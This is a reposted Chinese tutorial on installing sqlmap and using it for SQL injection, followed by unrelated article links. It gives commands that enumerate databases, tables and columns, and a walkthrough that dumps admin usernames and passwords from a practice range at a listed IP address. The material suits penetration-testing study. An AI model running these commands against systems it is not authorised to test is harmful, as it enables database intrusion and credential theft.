首页 / 更多教程 / SQLMap工具的安装使用

SQLMap工具的安装使用

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了SQLMap工具的安装使用，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含2517字，纯文字阅读大概需要4分钟。

内容图文

SQLMap工具介绍：

sqlmap是一个开源软件，用于检测和利用数据库漏洞，并提供将恶意代码注入其中的选项。它是一种渗透测试工具，可自动检测和利用SQL注入漏洞，在终端中提供其用户界面。该软件在命令行运行，可供不同操作系统下载：Linux发行版，Windows和Mac OS操作系统。除了映射和检测漏洞之外，该软件还可以访问数据库，编辑和删除数据，以及查看表格中的数据，例如用户，密码，备份，电话号码，电子邮件地址，信用卡和其他机密和敏感信息。 sqlmap完全支持多个DBMS，包括MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Access，IBM DB2，SQLite，Firebird和SAP MaxDB。并全面支持所有注入技术：布尔值，错误，堆栈，时间，联盟。

下载

1.linux下git直接安装

gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

2.Windows下安装

Windows下进入官网http://sqlmap.org/下载安装包解压缩就可以使用。但需要python2.7.x或者2.6.x环境支持。

3.kali及PentestBox默认安装sqlmap

基础语法

sqlmap.py -u “注入地址” --dbs // 列举数据库

sqlmap.py -u “注入地址” --current--db // 当前数据库

sqlmap.py -u “注入地址” --users // 列数据库用户

sqlmap.py -u “注入地址” --current--user // 当前用户

sqlmap.py -u “注入地址” --tables -D “数据库” // 列举数据库的表名

sqlmap.py -u “注入地址” --columns -T “表名” -D “数据库” // 获取表的列名

sqlmap.py -u “注入地址” --dump -C “列名字” -T “表名字” -D “数据库” //获取数据库下表的列信息

打开SQLMap

今天我们环境使用的是Windows 10家庭中文版操作系统和Python 2.7.13由于本机Python环境已经搭建好，所以在此就不进行演示。接下来我们打开SQLMap方法有很多种：

可以进入本地SQLMAp的目录下，在搜索框输入cmd，然后按回车进入，如图所示：

SQLMap工具的安装使用 - 文章图片

也可以右击SQLMap文件夹下的sqlmap.py文件创建快捷方式，右键选择属性，修改目标为%windir%\system32\cmd.exe

SQLMap工具的安装使用 - 文章图片

确定保存

SQLMap工具的安装使用 - 文章图片

点击快捷方式直接打开SQLMap，可以验证一下

SQLMap工具的安装使用 - 文章图片

将SQLMap快捷方式添加到launchy快捷打开

SQLMap工具的安装使用 - 文章图片

SQLMap的使用

在网上找到了一个练习SQL注入的靶场，http://120.203.13.75:6815/?id=1，这道题是要我们通过sql注入拿到管理员密码！

SQLMap工具的安装使用 - 文章图片

使用F12查看页面cookie，发现页面并没有设置cookie，下面使用SQLMap

SQLMap工具的安装使用 - 文章图片

查看数据库sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --dbs

SQLMap工具的安装使用 - 文章图片

查看当前使用的数据库，sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --current-db

SQLMap工具的安装使用 - 文章图片

查看数据库“maoshe”中的表，sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch -D maoshe --tables

SQLMap工具的安装使用 - 文章图片

查看admin表中的列名sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch -D maoshe -T admin --columns，发现是储存用户信息的表

SQLMap工具的安装使用 - 文章图片

查看username和password列信息sqlmap.py -u "http://120.203.13.75:6815/?id=1" --dump -C "password,username" -T admin -D "maoshe"，爆出admin管理员用户信息而且密码使用明文保存的

SQLMap工具的安装使用 - 文章图片

内容总结

以上是互联网集市为您收集整理的SQLMap工具的安装使用全部内容，希望文章能够帮你解决SQLMap工具的安装使用所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/916147.html

来源：【匿名】

【上一篇】Shiro之从数据库初始化角色权限信息【下一篇】关于IE的RegExp.exec的问题

更多 ►

【SQLMap工具的安装使用】教程文章相关的互联网学习教程文章

如何对List＜Map＜String,Object＞＞根据某个key对应的value进行去重 ?【代码】

public static void main(String[] args) {List<Map<String, String>> list = new ArrayList<>(16) ;Map<String,String> map1 = new HashMap<>(16);map1.put("key", "val");Map<String,String> map2 = new HashMap<>(16);map2.put("key", "val");list.add(map1);list.add(map2);//打印list里面的数据list.forEach(System.out::println);ArrayList<Map<String, String>> data = list.stream().collect(Collectors.collectingAndThen...

POJ 2240 【这题貌似可以直接FLOYD 屌丝用SPFA通过枚举找正权值环顺便学了下map】【代码】

题意：给了n种硬币的名称，给了m种硬币间的转换关系。从任意兑换地点开始兑换，看是否能够通过兑换的方式增加金钱。思路：用SPFA不断对各个点进行松弛操作，寻找正权值的环。如果找到则输出Yes。这题测试的时候竟然发现dis数组写成int型...#include<stdio.h> #include<map> #include<string.h> #include<string> #include<iostream> #include<queue> usingnamespace std; int n,m; int ednum; bool ok; bool vis[35]; int cnt[35];...

List<Map<String, String>> 多字段排序【代码】【图】

页面传入的多个排序字段 > 多字段排序 - 文章图片" /> 排序字段public class ReFormSort {//"列名"private String columnEname;//"ASC升序，DESC降序"private String sort; } 代码里进行多字段排序 List<Map<String, String>> content = formDataService.searchFormData(paras);List<ReFormSort> sorts = paras.getSorts(); //多个排序字段for (int i = 0; i < sorts.size(); i++) {String columnEname = sorts.get(...

好947 Mybatis 配置resultMap 带参数查询Map 注意selectOne数据库返回结果一条数据库否则会报错【代码】

//TMD 写几个demo 还有大站采集<a target=_blank href="http://hao947.com/" target="_blank">好947</a>映射配置文件 <RESULTMAP id=BaseResultMap type="person"><pre name="code" class="java"><a target=_blank href="http://hao947.com/" target="_blank">好947</a>  <ID property="personId" column="pers...

map 取值【代码】

1》可以取出Map中所有的键所在的Set集合；再通过Set的迭代器获取到每一个键，之后再用get();方法获得对应的值。 public static void main(String[] args) {Map<String, String> map=new HashMap<String, String>();map.put("诶诶", "战神");map.put("是啥", "发ver");map.put("草", "傻逼");//返回map映射中所有的键Set集合并进行迭代Set set= map.keySet();//获得map中所有键的集合Iterator iterator=set.iterator();//迭代获得...

HIVE 的MAP/REDUCE

对于 JOIN 操作：Map：以 JOIN ON 条件中的列作为 Key，如果有多个列，则 Key 是这些列的组合以 JOIN 之后所关心的列作为 Value，当有多个列时，Value 是这些列的组合。在 Value 中还会包含表的 Tag 信息，用于标明此 Value 对应于哪个表。按照 Key 进行排序。Shuffle：根据 Key 的值进行 Hash，并将 Key/Value 对按照 Hash 值推至不同对 Reduce 中。Reduce： Reducer 根据 Key 值进行 Join 操作，并且通过 Tag 来识别不同的表中...

STL无序容器之unordered_map和unordered_multimap【代码】

参考链接 map 容器中存储的数据是有序的，而 unordered_map 容器中是无序的。 unordered_map 容器在<unordered_map>头文件中，并位于 std 命名空间中。参数含义<key,T>前 2 个参数分别用于确定键值对中键和值的类型，也就是存储键值对的类型。Hash = hash用于指明容器在存储各个键值对时要使用的哈希函数，默认使用 STL 标准库提供的 hash 哈希函数。注意，默认哈希函数只适用于基本数据类型（包括 string 类型），而不适用于自定...

Swift 烧脑体操（四） - map 和 flatMap【代码】【图】

前言Swift 其实比 Objective-C 复杂很多，相对于出生于上世纪 80 年代的 Objective-C 来说，Swift 融入了大量新特性。这也使得我们学习掌握这门语言变得相对来说更加困难。不过一切都是值得的，Swift 相比 Objective-C，写出来的程序更安全、更简洁，最终能够提高我们的工作效率和质量。Swift 相关的学习资料已经很多，我想从另外一个角度来介绍它的一些特性，我把这个角度叫做「烧脑体操」。什么意思呢？就是我们专门挑一些比较费...

Either Map2Ext【代码】

package eithercaseclass Person(name: Name, age: Age)sealed class Name(val value: String)sealed class Age(val value: Int)object Map2Ext {def mkName(name: String): Either[List[String], Name] =if (name == "" || name == null) Left(List("Name is empty.")) else Right(new Name(name))def mkAge(age: Int): Either[List[String], Age] = if (age < 0) Left(List("Age is out of range.")) else Right(new Age(age))de...

c – std :: unordered_map不释放内存【代码】

我正在观察MSVC14(VS2015)中std :: unordered_map的奇怪行为.考虑以下场景.我创建一个无序的地图,并用虚拟结构填充它,消耗大量的内存,比如1Gb,插入总体100k元素.然后你开始从地图中删除元素.假设你已经删除了一半的元素,那么,你希望释放一半的内存.对？错误！我看到当map中的元素数量超过一定阈值时释放内存,在我的情况下它是1443个元素.可能会说使用VirtualAllocEx或HeapAlloc从OS分配大块的malloc优化实际上它不会释放内存因为优...

打乱Map key - value的对应顺序【代码】

应用场景：对于考试试卷选择题选项的乱序对应问题，防止考生作弊，每个人的题目都是不一样的选项顺序。package com.muyuan.platform.elearning.util;import com.alibaba.fastjson.JSONObject; import com.muyuan.platform.elearning.vo.exam.QuestionVo;import java.util.*;/*** 乱序工具类*/ public class QuestionSelectRevertUtils {/*** 打乱Map key-value顺序，重新组合key-value** @param questionJson* @return*/public sta...

首页 / 更多教程 / SQLMap工具的安装使用

SQLMap工具的安装使用

内容导读

内容图文

内容总结

内容备注

内容手机端

【SQLMap工具的安装使用】教程文章相关的互联网学习教程文章

如何对List＜Map＜String,Object＞＞根据某个key对应的value进行去重 ?【代码】

POJ 2240 【这题貌似可以直接FLOYD 屌丝用SPFA通过枚举找正权值环顺便学了下map】【代码】

List<Map<String, String>> 多字段排序【代码】【图】

好947 Mybatis 配置resultMap 带参数查询Map 注意selectOne数据库返回结果一条数据库否则会报错【代码】

map 取值【代码】

HIVE 的MAP/REDUCE

STL无序容器之unordered_map和unordered_multimap【代码】

Swift 烧脑体操（四） - map 和 flatMap【代码】【图】

Either Map2Ext【代码】

c – std :: unordered_map不释放内存【代码】

打乱Map key - value的对应顺序【代码】

HashSet源码解析&Map迭代器

关于Set<Long>Map<Long,String>的一些小注意事项自动转换类型

MapReduce之Map Join【代码】

map的应用——UVA156 反片语【代码】

更多教程 - 最新教程

更多教程 - 最热教程